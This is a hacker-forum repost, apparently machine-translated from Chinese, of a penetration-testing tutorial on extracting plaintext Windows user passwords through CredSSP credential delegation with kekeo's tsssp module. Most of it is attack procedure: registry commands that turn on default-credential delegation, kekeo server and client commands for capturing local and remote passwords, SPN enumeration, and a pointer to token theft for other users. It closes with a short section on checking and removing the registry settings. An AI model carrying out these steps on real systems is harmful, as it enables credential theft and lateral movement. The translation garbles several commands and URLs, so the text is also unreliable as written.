跳转到帖子

游客您好,欢迎来到黑客世界论坛!您可以在这里进行注册。

赤队小组-代号1949(原CHT攻防小组)在这个瞬息万变的网络时代,我们保持初心,创造最好的社区来共同交流网络技术。您可以在论坛获取黑客攻防技巧与知识,您也可以加入我们的Telegram交流群 共同实时探讨交流。论坛禁止各种广告,请注册用户查看我们的使用与隐私策略,谢谢您的配合。小组成员可以获取论坛隐藏内容!

TheHackerWorld官方

穿透技巧——通过CredSSP导出用户明文密码

精选回复

发布于

0x00 前言

在渗透测试中,为了获取Windows系统中的用户密码,我们通常会选择读取lsass进程的内存。这种方法不仅需要获得系统的管理员权限,而且更多情况下需要绕过系统对lsass进程的保护。

我在之前的文章《Windows下的密码hash——Net-NTLMv1介绍》中介绍了使用InternalMonologue获取当前用户凭证的方法(通过SSPI调用本地过程调用NTLM认证包(MSV1_0)计算NetNTLM响应),对lsass进程没有任何操作。

本文将介绍另一种获取当前用户密码的方法,同样不需要操作lsass进程。

这是Benjamin @ gentilkiwi Delpy开源的kekeo在2018年加入的一个功能。只需要修改Windows系统的组策略,就可以获得普通用户权限的用户的明文密码。

本文将简单介绍原理,分析不同环境下的利用思路,并给出一些防御建议。

0x01 简介

本文将介绍以下内容:

实现原则

实现方法

利用率分析

防御探测

0x02 实现原理

1.基础知识

CredSSP

凭据安全支持提供程序协议的全名

CREDSP协议的目的是将用户的明文密码从CREDSP客户端委托给CREDSP服务器。

CredSSP通常应用于远程桌面协议和Windows远程管理(如Powershell Remoting)。

CredSSP提供加密的传输层安全协议通道。该协议使用Kerberos和NTLM。

参考资料:

https://docs . Microsoft . com/en-us/windows/win32/sec authn/credential-security-support-provider

2.通过组策略设置CredSSP的凭据分配

组策略允许您指定使用CredSSP组件的应用程序是否发送默认凭据。

组策略位置:计算机配置-管理模板-系统-凭据委派

如下图

2-1.PNG

允许委派默认凭据意味着当使用受信任的X509证书或Kerberos实现服务器身份验证时,会自动发送当前用户的凭据。

仅NTLM服务器身份验证允许委派默认凭据意味着当通过NTLM实施服务器身份验证时,会自动发送当前用户的凭据。

对应于组策略的注册表位置:HKEY _本地_机器\软件\策略\ Microsoft \ windows \凭据委派

3.CredSSP的凭据分配在远程桌面服务上的应用

在工作组环境中,需要启用“允许委派默认凭据,仅NTLM服务器验证”。

需要为域环境启用允许委派默认凭据。

当相应的组策略打开时,在使用远程桌面连接时,将自动发送当前用户的凭据(明文格式,而不是哈希)。

数据结构如下:

TSPasswordCreds :=SEQUENCE {

域名[0]八位字节字符串,

用户名[1]八位字节字符串,

密码[2]八位字节字符串

}

参考资料:

https://docs . Microsoft . com/en-us/open specs/windows _ protocols/ms-cssp/17773 cc4-21e 9-4a 75-a0dd-72706 b 174 Fe 5

4.实现原理

综上所述,如果我们实施以下操作:

修改主机A的组策略以自动发送当前用户的凭据。

在主机B上实现server的功能,接收主机a发送的请求。

那么,当我们控制主机A连接到主机B时,主机B就可以获得主机A的用户的明文密码。

有关CredSSP协议的详细信息,请参考:

https://docs . Microsoft . com/en-us/open specs/windows _ protocols/ms-cssp/85f 57821-40bb-46aa-bfcb-ba 9590 b8fc 30

此外,如果我们实现以下操作:

修改主机A的组策略以自动发送当前用户的凭据。

在主机A上实现server的功能,接收主机A自己发送的请求。

我们还可以获得用户的明文密码。

注:

凯科是通过SMB协议而不是RDP协议创建命名管道来实现的。

如下图

2-2.PNG

0x03 实现方法

通过修改注册表添加组策略。该命令如下所示:

REG add hklm \ SOFTWARE \ Policies \ Microsoft \ Windows \ credentials delegation/v AllowDefaultCredentials/t REG _ DWORD/d 1

REG add hklm \ SOFTWARE \ Policies \ Microsoft \ Windows \ credentials delegation/v allowdefcredentialswhentlmonly/t REG _ DWORD/d 1

REG add hklm \ SOFTWARE \ Policies \ Microsoft \ Windows \ credentials delegation/v concatenate defaults _ allow default/t REG _ DWORD/d 1

REG add hklm \ SOFTWARE \ Policies \ Microsoft \ Windows \ credentials delegation/v concatenate defaults _ AllowDefNTLMOnly/t REG _ DWORD/d 1

REG add hklm \ SOFTWARE \ Policies \ Microsoft \ Windows \ credentials delegation \ AllowDefaultCredentials/v 1/t REG _ SZ/d *

REG add hklm \ SOFTWARE \ Policies \ Microsoft \ Windows \ credentials delegation \ allowdefcredentialswhentlmonly/v 1/t REG _ SZ/d *

添加组策略后,需要等待用户再次登录并输入凭证后才能生效,比如锁屏、注销或重启。

对于不同的网络环境,实现方法是不同的。

1.工作组网络

认证方法是NTLM。

(1)抓取本机口令

建立服务器的kekeo命令如下(普通用户权限):

tsssp:服务器

连接到服务器的kekeo命令如下(普通用户权限):

tsssp:client /target:anyword

如下图

3-1.PNG

注:

在捕获本地密码时,目标参数可以设置为任何字符。

2.域网络

身份验证方法是Kerberos。

(1)抓取本机口令

建立服务器的kekeo命令如下(普通用户权限):

tsssp:服务器

连接到服务器的kekeo命令如下(普通用户权限):

tsssp:client /target:anyword

注:

在捕获本地密码时,目标参数可以设置为任何字符。

(2)抓取远程主机口令

建立服务器的kekeo命令如下(系统权限):

tsssp:服务器

连接到服务器的kekeo命令如下(普通用户权限):

tsssp:client/target:terms RV/computer 01 . test . com/pipe:\ \ computer 01 . test . com \ pipe \ kekeo _ tsssp _ endpoint

结果如下

3-2.PNG

这里使用的参数是对应于域中计算机帐户的SPN。

要查看当前域中的所有spn,可以使用setspn命令:

setspn.exe-q */*

要查看测试域中的所有SPN:

setspn.exe-T检验-q */*

0x04 利用分析

1.优点

不需要与lsass进程交互,所以可以绕过lsass进程的保护。

修改组策略后,只需普通用户权限即可实现。

注:

添加组策略后,需要等待用户再次登录并输入凭证后才能生效,比如锁屏、注销或重启。

2.其他利用思路

(1)代码的提取

我单独提取了kekeo的tsssp:client函数,地址如下:

https://github . com/3g student/home-of-C-Language/blob/master/tsssp _ client . CPP

代码支持连接本地和远程服务器。

只需填写pipi参数,我的代码将自动完成目标参数到TERMSRV/

用于连接的本地命令示例:

tsssp_client.exe localhost

测试下图

4-1.PNG

连接到远程服务器的命令示例:

tsssp _ client . exe Computer01.test.com

测试下图

4-2.PNG

kekeo的tsssp:server函数需要安装OSS ASN.1/C。

注:

用OSS ASN.1/C试用版编译的exe文件不能在没有OSS asn.1/C的系统上使用。

(2)抓取其他用户的口令

使用其他用户的令牌启动kekeo.exe或tsssp_client.exe

token的使用方法可以参考《渗透技巧——Token窃取与利用》。

0x05 防御检测

1.查询组策略配置。

查询注册表的Cmd命令如下:

reg query hklm \ SOFTWARE \ Policies \ Microsoft \ Windows \ credentials delegation

2.删除组策略配置。

删除注册表项的Cmd命令如下:

reg delete hklm \ SOFTWARE \ Policies \ Microsoft \ Windows \ credentials delegation/f

0x06 小结

介绍了kekeo的tsssp模块在不同环境下的利用方法,并基于利用思路给出了防御建议。

留下回复

创建帐户或登录后发表意见

最近浏览 0

  • 没有会员查看此页面。